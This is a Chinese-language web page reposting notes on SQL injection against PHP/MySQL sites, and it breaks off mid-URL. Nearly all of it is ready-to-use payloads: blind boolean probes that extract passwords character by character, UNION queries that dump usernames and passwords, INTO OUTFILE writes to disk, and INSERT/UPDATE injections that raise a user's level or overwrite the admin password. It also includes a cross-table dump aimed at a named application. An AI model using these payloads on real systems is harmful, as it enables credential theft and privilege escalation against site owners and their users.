PHP的SQL注入实现(测试代码安全不错)

网学网为需要PHP的朋友们搜集整理了PHP的SQL注入实现(测试代码安全不错)相关资料，希望对各位网友有所帮助!

SQL注入的重点就是构造SQL语句，只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记，已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询：
http://127.0.0.1/injection/user.php?username=angel'' and LENGTH(password)=''6
http://127.0.0.1/injection/user.php?username=angel'' and LEFT(password,1)=''m

Union联合语句：
http://127.0.0.1/injection/show.php?id=1'' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id='' union select 1,username,password from user/*

导出文件：
http://127.0.0.1/injection/user.php?username=angel'' into outfile ''c:/file.txt
http://127.0.0.1/injection/user.php?username='' or 1=1 into outfile ''c:/file.txt
http://127.0.0.1/injection/show.php?id='' union select 1,username,password from user into outfile ''c:/user.txt

INSERT语句：
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('''', ''$username'', ''$password'', ''$homepage'', ''1'');
构造homepage值为：http://4ngel.net'', ''3'')#
SQL语句变为：INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('''', ''angel'', ''mypass'', ''http://4ngel.net'', ''3'')#'', ''1'');

UPDATE语句：我喜欢这样个东西
先理解这句SQL
UPDATE user SET password=''MD5($password)'', homepage=''$homepage'' WHERE id=''$id''
如果此SQL被修改成以下形式，就实现了注入
1：修改homepage值为
http://4ngel.net'', userlevel=''3
之后SQL语句变为
UPDATE user SET password=''mypass'', homepage=''http://4ngel.net'', userlevel=''3'' WHERE id=''$id''
userlevel为用户级别
2:修改password值为
mypass)'' WHERE username=''admin''#
之后SQL语句变为
UPDATE user SET password=''MD5(mypass)'' WHERE username=''admin''#)'', homepage=''$homepage'' WHERE id=''$id''
3：修改id值为
'' OR username=''admin''
之后SQL语句变为
UPDATE user SET password=''MD5($password)'', homepage=''$homepage'' WHERE id='''' OR username=''admin''

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel，十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/sh